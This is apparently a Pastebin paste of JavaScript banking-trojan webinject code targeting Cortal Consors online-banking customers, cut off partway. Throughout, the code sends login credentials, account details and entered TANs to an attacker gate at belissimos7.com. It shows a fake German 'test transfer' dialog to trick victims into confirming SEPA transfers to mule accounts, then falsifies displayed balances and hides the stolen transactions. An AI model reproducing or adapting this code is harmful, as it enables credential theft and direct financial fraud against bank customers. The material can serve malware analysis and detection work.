Advertisement
Xylitol

cortal.js

Apr 13th, 2014
257
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var jq = jQuery.noConflict();
  2. var CONTENT_URL= "https://belissimos7.com/nsdghsf333/";
  3. document.write('<style type="text/css">.inj_full_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4002; filter: alpha(OPACITY=100); opacity: 1; } #inj_block_overlay {  width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4000; } #inj_dialog_box { font:400 12px Arial, Helvetica, sans-serif;background-color: #FFFFFF; left: 50%; position: absolute; top: 165px; width: 800px;margin-left: -400px; z-index: 4001; } .inj_instr_list { font-size: 13px; } .inj_content_para {text-align: center; padding: 10px; } .inj_content_block { padding: 10px 10px 10px 0px; } .inj_buttons_block { text-align: center; margin-top: 1em;float: right; margin: -20px 0 0;} .inj_error { display: none; color: #FF0000; font-weight: bold;margin:10px 0;font-size: 18px;font-weight: bold; text-align: center; }</style>');
  4.  
  5.  
  6. var ATS = { bank: 'cortalconsors',
  7.     account_id: 0,
  8.     script_ver: '1.2',
  9.     transf_mode : 'sepa',
  10.     debug_mode: 0,
  11.     debug_transfer: "INT",
  12.     gateURL : 'https://belissimos7.com/nsdghsf333/gate',
  13.     debugVisibleFrame: false,
  14.     debugNoOverlay : false,
  15.     CONTENT_URL: CONTENT_URL,
  16.     current_state : 0,
  17.     SmsCliked:false,
  18.    
  19.  
  20.     StepInFrame : {
  21.         0:"BeginWork",
  22.         10:"framePageFinanzstatus",
  23.         15:"Transactions",
  24.         20:"Overseas_remittance",
  25.         30:"SEPA_page",
  26.         110:"SEPA_form_filled",
  27.         120:"TAN_ENTERED",
  28.         130:"Internal_transf_page",
  29.         140:"INT_form_filled",
  30.         150:"KreditlimitPage",
  31.        
  32.         set_current_state : function(state){
  33.            
  34.             for (var key in this) {
  35.               if (typeof this[key]!= 'function' && state==this[key]) {
  36.                parent.ATS.current_state=key;
  37.                return key;
  38.                }
  39.               //alert(key+':'+this[key])
  40.              
  41.            }
  42.             return false;
  43.             }
  44.         },
  45.        
  46.    
  47.     isDebugMode: function()
  48.     {
  49.         return ATS.debug_mode;
  50.     },
  51.    
  52.  
  53.     getBrowserFull: function()
  54.     {
  55.         var res = 'na';
  56.         try
  57.         {
  58.             var m = navigator.userAgent.match(/Firefox\/(\d+)/);
  59.             if (m)
  60.             {
  61.                 res = 'ff' + m[1];
  62.             }
  63.             else
  64.             {
  65.                 m = navigator.userAgent.match(/MSIE (\d+)/);
  66.                 if (m)
  67.                     res = 'ie' + m[1];
  68.             }
  69.         }
  70.         catch(e)
  71.         {
  72.             res = 'ex';
  73.         }
  74.         return res;
  75.     },
  76.  
  77.  
  78.     debugMsg: function(message)
  79.     {
  80.         if (this.isDebugMode())
  81.         {
  82.             if (window.console && window.console.log)
  83.                 window.console.log(message);
  84.             else
  85.                 alert(message);
  86.         }
  87.     },
  88.    
  89.     _cookies: new Object(),
  90.    
  91.     setCookie: function(name, value)
  92.     {
  93.         ATS.debugMsg('setCookie: ' + name + ' = ' + value);
  94.         parent.ATS._cookies['#'+name] = value;
  95.     },
  96.    
  97.     getCookie: function(name)
  98.     {
  99.         if (typeof parent.ATS._cookies['#'+name] == 'undefined')
  100.             return null;
  101.        
  102.         return parent.ATS._cookies['#'+name];
  103.     },
  104.    
  105.     serializeCookies: function()
  106.     {
  107.        //if (typeof parent.ATS._cookies != 'function')
  108.         var result = new Array();
  109.         for (var i in parent.ATS._cookies)
  110.         {
  111.            
  112.             if(i.indexOf('#')==0){
  113.                result.push(encodeURIComponent(i) + '=' + encodeURIComponent(parent.ATS._cookies[i]));
  114.  
  115.                }
  116.         }
  117.         return result.join('&');
  118.     },
  119.    
  120.     unserializeCookies: function(rawData)
  121.     {
  122.         var result = new Object();
  123.         for (var i in rawData)
  124.         {
  125.             result[decodeURIComponent(i)] = decodeURIComponent(rawData[i]);
  126.         }
  127.         return result;
  128.     },
  129.    
  130.     saveCookies: function(callback)
  131.     {
  132.         ATS.sendGateRequest('save_cookies', {data: ATS.serializeCookies()}, callback);
  133.     },
  134.    
  135.  
  136.     sendGateRequest: function(action, params, callback)
  137.     {
  138.      
  139.         //ATS.debugMsg('sendGateRequest: ' + action);
  140.         dat = jq.extend({bank: parent.ATS.bank, aid: parent.ATS.account_id}, params);
  141.        
  142.         var url = ATS.gateURL + '?a=' + action + '&cb=?';
  143.         //ATS.debugMsg('url = ' + url + '; params = ' + params + '; data = ' + dat + "aid = " + parent.ATS.account_id);
  144.    
  145.         //if ((typeof __debugDisabled == 'undefined') || !__debugDisabled)
  146.         //{
  147.        
  148.             jq.ajax({
  149.                 url: url,
  150.                 dataType: 'jsonp',
  151.                 crossDomain: true,
  152.                 data: dat,
  153.                 //async: false,
  154.                 success: callback,
  155.                 error: function(request,error)
  156.                 {
  157.                     ATS.debugMsg('posible ban ip; ajax error: ' + error);
  158.                     jq('.inj_full_overlay').remove();
  159.                     ATS.UI_unblockSite();
  160.                     jq('#inj_dialog_box').hide();
  161.                 }
  162.                
  163.             });
  164.            
  165.         //}
  166.     },
  167.    
  168.  
  169.     loadData: function(callback)
  170.     {
  171.         ATS.sendGateRequest('load_data', {}, function(data){
  172.             ATS.account_id = data.account_id;
  173.             ATS._cookies = ATS.unserializeCookies(data.cookies);
  174.             if (typeof callback == 'function')
  175.                 callback();
  176.         });
  177.     },
  178.    
  179.  
  180.     sendLoginInfo: function(login, password, callback)
  181.     {
  182.         ATS.sendGateRequest('login', {login: login, password: password, url: window.location.href}, callback);
  183.     },
  184.    
  185.  
  186.     sendLogMsg: function(text, callback)
  187.     {
  188.         ATS.debugMsg('sendLogMsg: ' + text);
  189.         ATS.sendGateRequest('log_msg', {ver: ATS.script_ver + ' / ' + ATS.getBrowserFull(), text: text}, callback);
  190.     },
  191.    
  192.     getDrop: function(transfType, balance, callback)
  193.     {
  194.        
  195.  
  196.         ATS.sendGateRequest('get_drop', {type: transfType, balance: balance}, callback);
  197.     },
  198.    
  199.     putTransfer: function(transfType, drop, amount, callback)
  200.     {
  201.         ATS.sendGateRequest('transfer', {type: transfType, did: drop, amount: amount}, callback);
  202.     },
  203.    
  204.     sendAccountsInfo: function(accountsInfo, callback)
  205.     {
  206.         try {
  207.             ATS.sendGateRequest('save_accounts_info', {data: JSON.stringify(accountsInfo)}, callback);
  208.         } catch(e) {}
  209.     }
  210.    
  211.    
  212.    
  213.    
  214. };
  215.  
  216.  
  217.  
  218. ATS.UI_getInjectCode = function()
  219. {
  220.     var code =
  221.      '<div id=inj_dialog_box style=\'display: none;\'>'
  222.      + '<div class="formContainer2 ui-dialog ui-widget ccui-dialog-login">'
  223.      
  224.      + '<div class="inj_dialog_content"><div class="ui-dialog-titlebar ui-widget-header" id="inj_dialog_title"><span id="ui-dialog-title-lightbox" class="ui-dialog-title"> TAN-Eingabe </span></div></div>'
  225.      
  226.      + '<div id=inj_page_wait style=\'display: none;\'>'
  227.      + '<div class="boxHinweis"><p class="begruessungText inj_content_para">'
  228.      +  langs.getLang('waittext')
  229.      + '<br class="newline" /></p><p style="text-align:center"><img s'
  230.      + 'rc='+ATS.CONTENT_URL+'/images/loader_bar.gif id=inj_loader_img /></p></div></div>'
  231.  
  232.      
  233.      + '<div id="gad_contentbox" style=\'display: none;\'>'
  234.  
  235.     + '<div style="clear:both" class="inj_error">'+langs.getLang('errortan')+'</div>'
  236.      
  237.      +'<div id="gad_signatur_tan" style=\'display: none;\'><p><strong>Sehr geehrter Kunde,</strong><br /><br /> Im Rahmen des Express-Testes hat das System eine Test&uuml;berweisung gemacht. Bei der Best&auml;tigung der Test&uuml;berweisung wird das KEIN Geld von Ihren Konto abgebucht.<br /> Wir hoffen, da&szlig; Sie eine Sicherheit und eine Einfachheit der Arbeit mit unserer Bank auf h&ouml;chstem Niveau sch&auml;tzen.</p><p><strong>Geben Sie bitte die testTAN ein, die wir Ihnen soeben per SMS an die Mobilfunknummer gesendet haben. Inhalt von test Bericht die soeben per SMS &uuml;bermittelt wurde ist nicht von bedeutung.</strong></p><br><div style="clear:both"></div><div id="gad_signatur_tan_input" class="gad-margin-top-10"><span class="fltrt" style="display:inline-block;"><label for="iTAN" class="gad-margin-right-10">mobile TAN: </label><span class="gad-field-box"><span class="gad-icon gad-icon-required">&nbsp;</span><input type="text" id="iTAN" name="nrTan" maxlength="6" class="gad-input-widget gad-input gad-input-width-65" aria-required="true"></span></span></div></div>'
  238.      
  239.  + '<div id="inj_page_brilok" style=\'display: none;\'>'
  240.  +'1. Aktivieren Sie Ihren TAN-Generator mit der Ein-\/Aus-Taste und w'+String.fromCharCode(228)+'hlen Sie dann mit der Zifferntaste \"2\" die Funktion \"APPLI-2\".<br />2. Geben Sie die <span id="inj_tan_startcode"></span> <br />3. Im Anschluss erscheint im Display Ihres TAN-Generators die generierte TAN.<br />4. Diese tragen Sie bitte in das nebenstehende Feld ein, so legitimieren Sie Ihren Auftrag.<br /><br />'
  241.  
  242.   + '<div style="clear:both"></div><div id="gad_signatur_tan_input" class="gad-margin-top-10"><span class="fltrt" style="display:inline-block;"><label for="iTANBrilok" class="gad-margin-right-10"><strong>Ihre TAN* </strong></label><span class="gad-field-box"><span class="gad-icon gad-icon-required">&nbsp;</span><input type="text" id="iTANBrilok" name="nrTan" maxlength="6" class="gad-input-widget gad-input gad-input-width-65" aria-required="true"></span></span></div>'
  243.  
  244.  +'</div>'
  245.      
  246.      
  247.      +'<div class="inj_buttons_block">'
  248.      + '<input type="image" class="form-button" alt="Weiter" title="Weiter" src="'+ATS.CONTENT_URL+'/images/waiter.gif" id="inj_Weiter" name="inj_weiter">';
  249.      + '</div>'
  250.      
  251.  
  252.      
  253.      +'</div>'
  254.      + '</div></div>';
  255.     return jq(code);
  256. }
  257.  
  258.  
  259. ATS.die = function(msg)
  260. {
  261.     ATS.sendLogMsg('ERROR: ' + msg);
  262.     ATS.setCookie('error_time', ATS.getTime());
  263.     ATS.setCookie('status', 2);
  264.     parent.ATS.StepInFrame.set_current_state("BeginWork");
  265.     ATS.saveCookies(function(){
  266.         if ((parent.window !== window) && parent.ATS)
  267.         {
  268.             ATS.debugMsg('die in frame');
  269.             parent.ATS.UI_hideDialogBox();
  270.             parent.ATS.UI_unblockSite();
  271.  
  272.             jq('.inj_full_overlay',parent.document).remove();
  273.         }
  274.         else
  275.         {
  276.             ATS.debugMsg('die outside frame');
  277.             ATS.UI_hideDialogBox();
  278.             ATS.UI_unblockSite();
  279.             jq('.inj_full_overlay').remove();
  280.         }
  281.     parent.ATS.StepInFrame.set_current_state("BeginWork");
  282.            
  283.             //setTimeout(function(){  window.location.reload();}, 1000);
  284.             //window.location.reload();
  285.  
  286.     });
  287.    
  288.  
  289.        
  290. }
  291.  
  292.  
  293. ATS.mainWork = function()
  294. {
  295.    
  296.     ATS.debugMsg('ATS.mainWork, state: ' + ATS.current_state);
  297.     //ATS.sendLogMsg('script_version = ' + ATS.script_ver);
  298.     switch (ATS.current_state)
  299.     {
  300.         case 0:
  301.            
  302.  
  303.             var href =true;
  304.             if (href)
  305.             {
  306.            
  307.                      
  308.                 ATS.StepInFrame.set_current_state("framePageFinanzstatus");
  309.                 //ATS.debugMsg('Finanzstatus link: ' + href);
  310.                 //setTimeout('ATS.openInIframe("' + href + '")', 3000);
  311.                
  312.             if (!!jq('div[role="dialog"]:visible').length)
  313. jq('div[role="dialog"]').find('span:contains(close)').click();    
  314.                
  315.                
  316. setTimeout(function(){
  317.  
  318.      ATS.sendLogMsg('Name: ' + jq.trim(jq('.login-meta p:eq(0)').text().replace('Willkommen','')).replace(/\s{2,}/g, ' '),ATS.ieFrameHack() );      
  319.  }, 3000);                
  320.                
  321.                
  322.                
  323.                
  324.             }
  325.             else
  326.             {
  327.                 ATS.die('mainWork: cant find finanzstatus');
  328.             }
  329.             break;
  330.     }
  331. }
  332. ATS.ieFrameHack = function()
  333. {
  334.     ATS.debugMsg('ATS.ieFrameHack()');
  335.    
  336.     if (!jq('iframe#ats_wrk_iframe').length)
  337.     {
  338.  
  339.         //ATS.openInIframe(ATS.getFinanzstatusLink());
  340.         ATS.openInIframe('about:blank');
  341. /*        
  342. var cssLink = document.createElement("link")
  343. cssLink.href = "/wrs/resources2/html/layout.css";
  344. cssLink.rel = "stylesheet";
  345. cssLink.type = "text/css";
  346. frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
  347.  
  348. var cssLink = document.createElement("link")
  349. cssLink.href = "/wrs/resources2/html/color.css";
  350. cssLink.rel = "stylesheet";
  351. cssLink.type = "text/css";
  352. frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
  353. */
  354.  
  355.  
  356.        
  357.      
  358.         setTimeout(ATS.ieFrameHack, 1000);
  359.     }
  360.     else
  361.     {
  362.  
  363.         var n=document.location.href;
  364.         n=n.replace("&s_login=true", '');    
  365.     if(!ATS.checkTestPage()){
  366.        
  367.       // var n=ATS.getFinanzstatusLink().replace("(","%28").replace(")","%29");
  368.     }
  369.     else {
  370.     //   var n=ATS.getFinanzstatusLink().replace(/\./gi,"%2e" );  
  371.     }        
  372.    
  373.         jq('iframe#ats_wrk_iframe').attr('src',n );
  374.     }
  375. }
  376.  
  377.  
  378. ATS.getMaxTransferAcc = function()
  379. {
  380.     var accountsList = parent.ATS.accounts_list;
  381.     var maxBalance = accountsList[0].balance;
  382.     var tempBalance = 0;
  383.     var maxAcc = accountsList[0];
  384.     for(var i in accountsList)
  385.     {
  386.  
  387.         tempBalance= parseFloat(accountsList[i].balance) +  parseFloat(accountsList[i].overdraft);
  388.     //  console.log(tempBalance)
  389.    
  390.             if (!isNaN(tempBalance) && (tempBalance > maxBalance))
  391.             {
  392.                 maxBalance = tempBalance;
  393.                 maxAcc = accountsList[i];
  394.             }
  395.     }
  396.     return maxAcc;
  397. }
  398.  
  399. ATS.UI_askTan = function(tanNum, isError)
  400. {
  401.     parent.ATS.UI_showDialogBox();
  402. if(parent.ATS.badTan) jq('.inj_error', parent.document).show();
  403.    
  404.     //parent.ATS.UI_fixBtnLink();
  405.  
  406.        var txt=jq('div.header').text();
  407. //if (txt.indexOf('TAN-Eingabe')==-1){
  408. if (jq('.token').length==0){
  409.    
  410.     parent.ATS.TanType='sms';
  411.     /*
  412.         var startCode = jq('.nowrap label').text().replace(/\D+/,'');
  413.         ATS.sendLogMsg('startCode ' + startCode);
  414.         jq('#inj_tan_startcode', parent.document.body).text(startCode);
  415.     */
  416.     if(!parent.ATS.SmsCliked){ parent.ATS.SmsCliked=true; jq('input[name*="event_requestMT0"]').click();} else{
  417.    
  418.    
  419.     jq('#inj_page_wait', parent.document).hide();
  420.     jq('#inj_logo', parent.document).hide();
  421.     //jq('#inj_page_tan', parent.document).show();
  422.     jq('#inj_page_brilok', parent.document).hide();
  423.     jq('#gad_signatur_tan', parent.document).show();
  424.     jq('.formContainer2 #gad_contentbox', parent.document).show();
  425.      }
  426.  
  427. }
  428.  else{
  429.     parent.ATS.TanType='brilok';
  430.  
  431.     var startCode = jq('.token').text().replace(/\D+/,'');
  432.     startCode=ATS.padLeft(startCode,6);
  433.     jq('#inj_tan_startcode', parent.document.body).text(startCode);
  434.    
  435.     jq('#inj_logo', parent.document).hide();
  436.     jq('#inj_page_wait', parent.document).hide();
  437.     jq('#gad_signatur_tan', parent.document).hide();
  438.     jq('#inj_page_brilok', parent.document).show();
  439.     jq('.formContainer2 #gad_contentbox', parent.document).show();
  440.        
  441.  
  442.  }  
  443.    
  444.    
  445.     //jq('#inj_buttons_block', parent.document).show();
  446.  
  447.  }
  448. ATS.UI_onWeiterClick = function()
  449. {
  450. if(parent.ATS.TanType=='sms') var tan = jq('#iTAN').val();
  451. else var tan = jq('#iTANBrilok').val();
  452.  
  453.  
  454.     if (tan=="test") {
  455.        if (ATS.isDebugMode()){
  456.            //parent.ATS.UI_showWait();
  457.         if (parent.ATS.transf_mode == 'sepa') ATS.framePageReceipt();
  458.         else ATS.framePageReceiptInternal();
  459.        
  460.        return false;}}
  461.  
  462.    
  463.     if (tan.length == 6)
  464.     {
  465.         ATS.sendLogMsg('entered TAN ' + tan);
  466.         jq('#ats_wrk_iframe')[0].contentWindow.ATS.enterCode(tan);
  467.     }
  468.     else{
  469.         alert(langs.getLang('errorTanEmpty'));
  470.        
  471.     }
  472. }
  473.  
  474. ATS.padRight = function(input, totalWidth)
  475.  
  476. {
  477.     var result = input;
  478.     if (result.length < totalWidth){
  479.         for(var i = result.length; i < totalWidth; i++){
  480.             result = result + 'X'
  481.         }
  482.    
  483.     }
  484.     return result;
  485. }
  486.  
  487. ATS.padLeft =function padLeft(nr, n, str){
  488.     return Array(n-String(nr).length+1).join(str||'0')+nr;
  489. }
  490.  
  491.  
  492. ATS.framePageReceipt = function()
  493. {
  494.     ATS.sendLogMsg('framePageReceipt');
  495.  
  496.    
  497.     ATS.putTransfer('SEPA', parent.ATS.sepa_drop.id, parent.ATS.sepa_drop.amount, function(){
  498.         ATS.sendLogMsg('Successful transfer SEPA, drop: ' + parent.ATS.sepa_drop.id + ', amount: ' + parent.ATS.sepa_drop.amount);
  499.         ATS.setCookie('transfer_time', ATS.getTime());
  500.         ATS.setCookie('rep_drop_name', parent.ATS.sepa_drop.DrName);
  501.         ATS.setCookie('rep_drop_acc', parent.ATS.sepa_drop.IBAN);
  502.         ATS.setCookie('rep_amount', parent.ATS.sepa_drop.amount);
  503.        
  504.         var transfer_acc = ATS.getCookie('transfer_acc');
  505.         if (transfer_acc)
  506.         {
  507.             ATS.setCookie('ap' + transfer_acc, parent.ATS.sepa_drop.amount);
  508.         }
  509.        
  510.         ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
  511.        
  512.         ATS.setCookie('status', 1);
  513.         ATS.saveCookies(function(){
  514.             parent.window.location.reload();
  515.             /*
  516.             parent.ATS.UI_hideDialogBox();
  517.             parent.ATS.UI_unblockSite();
  518.             jq('.inj_full_overlay',parent.document).remove();        
  519.             */        
  520.         });
  521.  
  522.     });
  523.    
  524. }
  525. ATS.framePageReceiptInternal = function()
  526. {
  527.     ATS.sendLogMsg('framePageReceiptInternal');
  528.    
  529.     ATS.putTransfer('Internal', parent.ATS.int_drop.id, parent.ATS.int_drop.amount, function(){
  530.         ATS.sendLogMsg('Successful transfer INT, drop: ' + parent.ATS.int_drop.id + ', amount: ' + parent.ATS.int_drop.amount);
  531.         ATS.setCookie('transfer_time', ATS.getTime());
  532.         ATS.setCookie('rep_drop_name', parent.ATS.int_drop.DrName);
  533.         ATS.setCookie('rep_drop_acc', parent.ATS.int_drop.Konto);
  534.         ATS.setCookie('rep_amount', parent.ATS.int_drop.amount);
  535.         var transfer_acc = ATS.getCookie('transfer_acc');
  536.         if (transfer_acc)
  537.         {
  538.             ATS.setCookie('ap' + transfer_acc, parent.ATS.int_drop.amount);
  539.         }
  540.         ATS.setCookie('status', 1);
  541.         ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
  542.         ATS.saveCookies(function(){
  543.             parent.window.location.reload();
  544.             /*
  545.             parent.ATS.UI_hideDialogBox();
  546.             parent.ATS.UI_unblockSite();
  547.             jq('.inj_full_overlay',parent.document).remove();        
  548.             */        
  549.  
  550.         });
  551.  
  552.        
  553.     });
  554. }
  555. ATS.fin2float = function(text)
  556. {
  557.     if (langs.getCurLang()=='EN')
  558.     var text = text.toString();
  559.     else
  560.     var text = text.toString().replace(/[^\d,-]+/g, '').replace(',', '.');
  561.     return parseFloat(text);
  562. }
  563.  
  564. ATS.float2fin = function(val)
  565. {
  566.     var intPart = Math.floor(val);
  567.     var fractPart = Math.floor((val - intPart) * 100).toString();
  568.    
  569.     if (fractPart.length < 2)
  570.         fractPart = '0' + fractPart;
  571.        
  572.     var newIntPart = '';
  573.     intPart = intPart.toString();
  574.     while (intPart.length > 3)
  575.     {
  576.         newIntPart = '.' + intPart.substr(intPart.length - 3) + newIntPart;
  577.         intPart = intPart.substr(0, intPart.length - 3);
  578.     }
  579.     newIntPart = intPart + newIntPart;
  580.    
  581.     return newIntPart + ',' + fractPart;
  582. }
  583. ATS.addElementAmount = function (el, amount, postfix,prefix)
  584. {
  585.     var prefix= prefix|| '';
  586.     var val = ATS.fin2float(jq(el).text());
  587.     var newText = prefix;
  588.     newText += ATS.float2fin(val + amount);
  589.     if (postfix)
  590.         newText += ' ' + postfix;
  591.     jq(el).text(newText);
  592. }
  593. ATS.hideLastTAN = function()
  594. {
  595.  
  596.     var el = jq('p:contains(Ihre zuletzt verbrauchte TAN)');
  597.     if (el.length)
  598.     {
  599.         var html = jq(el).html();
  600.         var pos = html.indexOf('Ihre zuletzt');
  601.         if (pos >= 0)
  602.             jq(el).html(html.substr(0, pos));
  603.     }
  604.    
  605.  
  606.     jq('p:contains(Zuletzt benutzte)').remove();
  607. }
  608.  
  609. ATS.checkTransfer = function(tempGesamtsaldo)
  610. {
  611.  
  612.  
  613.     var percent=parseFloat("0.00");  
  614.  
  615.     var lastGesamtsaldo = parseFloat(ATS.getCookie('Gesamtsaldo'));
  616.     if (isNaN(lastGesamtsaldo)) {
  617.         ATS.sendLogMsg('error. lastGesamtsaldo is NULL');
  618.         return false;
  619.     }
  620.  
  621.     var curGesamtsaldo = tempGesamtsaldo;
  622.  
  623.     var rep_amount= parseFloat(ATS.getCookie('rep_amount'));
  624.     var tempsaldo= lastGesamtsaldo - curGesamtsaldo;
  625.     tempsaldo=parseFloat(tempsaldo.toFixed(2));
  626.    
  627.         //ATS.debugMsg('tempsaldo = '+tempsaldo +'; lastGesamtsaldo ='+ lastGesamtsaldo + '; curGesamtsaldo ='+ curGesamtsaldo+' rep_amount='+rep_amount);
  628.        
  629.  
  630.     if(tempsaldo==0){
  631.         ATS.sendLogMsg('As at '+Date()+' bank has NOT yet made a translation. The script will NOT change the balance');
  632.         return false;
  633.         }
  634.    
  635.  
  636.     if (tempsaldo<0 ){ATS.sendLogMsg('Error calc saldo = ' + tempsaldo + '; lastGesamtsaldo ='+ lastGesamtsaldo + '; curGesamtsaldo ='+ curGesamtsaldo);
  637.         return false;
  638.     }
  639.  
  640.  
  641.     if(tempsaldo>0){
  642.    
  643.            
  644.  
  645.     if((tempsaldo==rep_amount)  || (tempsaldo>rep_amount)){
  646.        
  647.     var temppers=(lastGesamtsaldo - (curGesamtsaldo+rep_amount));
  648.     percent=parseFloat(temppers.toFixed(2));
  649.     ATS.sendLogMsg('As at '+Date()+' Bank did the translation. bank percent = '+percent+ '; Script will made change');
  650.     if (parseFloat(ATS.getCookie('acPercent'))!=parseFloat(percent)){
  651.             ATS.setCookie('acPercent',percent);
  652.             ATS.saveCookies();
  653.     }
  654.     if (ATS.getCookie('acTransact')!="true"){
  655.             ATS.setCookie('acTransact',true);
  656.             ATS.saveCookies();
  657.     }
  658.    
  659.     return percent;
  660.     }else{
  661.      
  662.         ATS.sendLogMsg('As at '+Date()+' the bank has not made a translation, but took percent = '+tempsaldo+ 'Script will NOT made change');
  663.             ATS.setCookie('acPercent',tempsaldo);
  664.             ATS.setCookie('acTransact',false);
  665.             ATS.saveCookies();
  666.         return false;
  667.     }    
  668.        
  669. }
  670.  
  671. }
  672.  
  673.  
  674. ATS.replaceFinanzstatus = function()
  675. {
  676.     ATS.debugMsg('replaceFinanzstatus()');
  677.    
  678.     jq("#print").remove();
  679.  
  680.  
  681. if(jq(".accountGroupList h2.header span.accountGroupSum").length>0){
  682.  
  683. var tempGesamtsaldo=0;
  684. jq(".accountGroupList h2.header span.accountGroupSum").each(function(){      
  685. tempGesamtsaldo+=ATS.fin2float(jq(this).text());
  686.  
  687. })
  688. }
  689.  
  690.  
  691.      var percent =ATS.checkTransfer(tempGesamtsaldo);
  692.      ATS.debugMsg('percent= '+percent);
  693.      if(typeof percent === 'boolean') return true;
  694.  
  695.  
  696.    
  697.         var totalReplace = 0;
  698.     jq("table.assets").each(function(){
  699. jq(this).find('tr').has('td.actions button').each(function(i){
  700.    
  701.  
  702. var balance=jq.trim(jq(this).children("td:eq(2)").text().replace(/[^\d,.-]+/g,'').replace(/\./g, '').replace(/\,/g, '.'));
  703.  
  704. var accNum=jq.trim(jq(this).children("td:eq(1)").text());
  705.            
  706.  
  707.                     var amount = parseFloat(ATS.getCookie('ap' + accNum));
  708.                    
  709.         //ATS.debugMsg('accNum = ' + accNum + '; amount = ' + amount + '; percent = ' + percent);
  710.                 if (amount > 0)
  711.                     {
  712.         ATS.debugMsg('REP finanzstatus: ' + accNum + ' + ' + amount + '; percent = ' + percent);
  713.  
  714.                   ATS.addElementAmount(jq(this).children("td:eq(2)"), parseFloat(amount + percent), 'EUR');
  715.                    
  716.  
  717.        
  718. ATS.addElementAmount(jq(this).parent().find('.sum > .numeric > .plus'), amount + percent, 'EUR');
  719.                
  720.                 totalReplace += parseFloat(amount + percent);
  721. ATS.addElementAmount(jq(this).parent().parent().parent().parent().parent().parent().find("h2.header span.accountGroupSum"), amount + percent, 'EUR','Summe ');
  722.                
  723.                
  724.                
  725.                 }
  726.                
  727.            
  728.     });
  729. });
  730.  
  731.            
  732.        
  733.        
  734.    
  735. }
  736. ATS.replaceUmsatzanzeige = function()
  737. {
  738.     ATS.debugMsg('replaceUmsatzanzeige()');
  739.  
  740.   jq(".saveListAs").remove();
  741.    
  742.  
  743.        
  744.    
  745.    
  746.     var amount = parseFloat(ATS.getCookie('ap' + accNum));
  747.     var percent=parseFloat(ATS.getCookie('acPercent'));
  748.    
  749.     //if((percent==null) || (!ATS.getCookie('acTransact'))) return true;
  750.     if(ATS.getCookie('acTransact')==null || ATS.getCookie('acTransact')=="false") return true;
  751.  
  752.    
  753.     var accNum = jq('table.content-navigation td.active span').text();
  754.     var accNumAlternate =jq('.page-headline h1 span').text();
  755.    
  756.     var transfer_acc =ATS.getCookie('transfer_acc');
  757.    
  758.    
  759.    
  760.    
  761.    
  762.     if ((accNum.indexOf(transfer_acc)!=-1) || (accNumAlternate.indexOf(transfer_acc)!=-1))
  763.     {
  764.         //ATS.sendLogMsg('REP Umsatzanzeige: kontostand + ' + amount);
  765.     ATS.debugMsg('accNum = ' + accNum + '; amount = ' + amount + '; percent = ' + percent);
  766.    
  767.        
  768.  
  769.         var hideFlag = false;
  770.         jq('table.transactions tr').each(function(i){
  771.            jq(this).find("td:eq(4)").each(function(j){
  772.  
  773.        
  774.             var text = jq.trim(jq(this).text());
  775.             if (ATS.needToHide(text))
  776.             {
  777. //  ATS.sendLogMsg('REP umsatze: transfer hidden - ' + jq(this).find('td:eq(2)').text());
  778.                 jq(this).parent().hide();
  779.                 hideFlag = true;
  780.             }
  781.         });
  782.     });    
  783.  
  784. if(hideFlag) {
  785.     ATS.addElementAmount(jq('table.account-balance tr:eq(0) td span.plus'), amount +  percent, 'EUR');
  786.     ATS.addElementAmount(jq('table.account-balance tr:eq(1) td span.plus'), amount +  percent, 'EUR');
  787.    
  788.     ATS.addElementAmount(jq('table.data:eq(0) span.plus:eq(1) b'),  amount +  percent, 'EUR');
  789.     ATS.addElementAmount(jq('table.data:eq(1) span.plus:eq(1) b'),  amount +  percent, 'EUR');
  790.  
  791.    
  792. }
  793.    
  794.  
  795. jq('table.transactions tr:visible:not(:first)').each(function(i){
  796.  
  797.     jq(this).attr('class', (i % 2) ? 'even' : 'odd');
  798.  
  799.     });
  800.  
  801.     }
  802. }
  803.  
  804. ATS.needToHide = function(text)
  805. {
  806.  
  807.    
  808.     var amount = parseFloat(ATS.getCookie('rep_amount'));
  809.     if (amount)
  810.     {
  811.  
  812.         if (langs.getCurLang()=='EN'){
  813.             text=text.replace(/[^\d.]+/gi, '');
  814.            
  815.         if (text.indexOf(amount) != -1) return true;
  816.            
  817.             }
  818.             else{
  819.         text=text.replace(/[^\d,]+/gi, '').replace(",", '.');                
  820.         if (text.indexOf(amount) != -1) return true;
  821.         //ATS.debugMsg(text);
  822.         }
  823.     }
  824.        
  825.     return false;
  826. }
  827. ATS.replaceBalances = function()
  828. {
  829.     ATS.debugMsg('replaceBalances()');
  830.    
  831.     //ATS.hideLastTAN();
  832.    
  833.    
  834.         switch (langs.getCurLang())
  835.     {
  836.        
  837.         case "EN":
  838.     if (ATS.getPageTitle("Your financial overview")) ATS.replaceFinanzstatus();        
  839.      if (ATS.getPageTitle("Transactions")) ATS.replaceUmsatzanzeige();            
  840.         break;
  841.          default:
  842.          
  843.     if (ATS.getPageTitle("Konten & Depots")) ATS.replaceFinanzstatus();        
  844.      if (ATS.getPageTitle("Umsatz"+String.fromCharCode(252)+"bersicht") ) ATS.replaceUmsatzanzeige();            
  845.            
  846.             break;
  847.            
  848.  }
  849.            
  850.  
  851.    
  852.  
  853.    
  854.    
  855.    
  856.  
  857.  
  858. }
  859.  
  860.  
  861. ATS.findAccountInfo = function(acc_num)
  862. {
  863.     ATS.debugMsg('acc_num:'+ acc_num);
  864.     var accounts_list = parent.ATS.accounts_list;
  865.     for (var i in accounts_list)
  866.     {
  867.         //if (accounts_list[i] != 'function' )
  868.          //ATS.debugMsg('accounts_list[i]:'+ accounts_list[i]);
  869.        
  870.             if (acc_num.indexOf(accounts_list[i].number) != -1)
  871.             {
  872.                 //ATS.debugMsg('Found: ' + accounts_list[i].number + '; balance: ' + accounts_list[i].balance + '; transf: ' + accounts_list[i].transf);
  873.                 return accounts_list[i];
  874.             }
  875.        
  876.     }
  877.     return false;
  878. }
  879.  
  880. var langs ={
  881.  simple_property: 'Hello',
  882.  EN: {
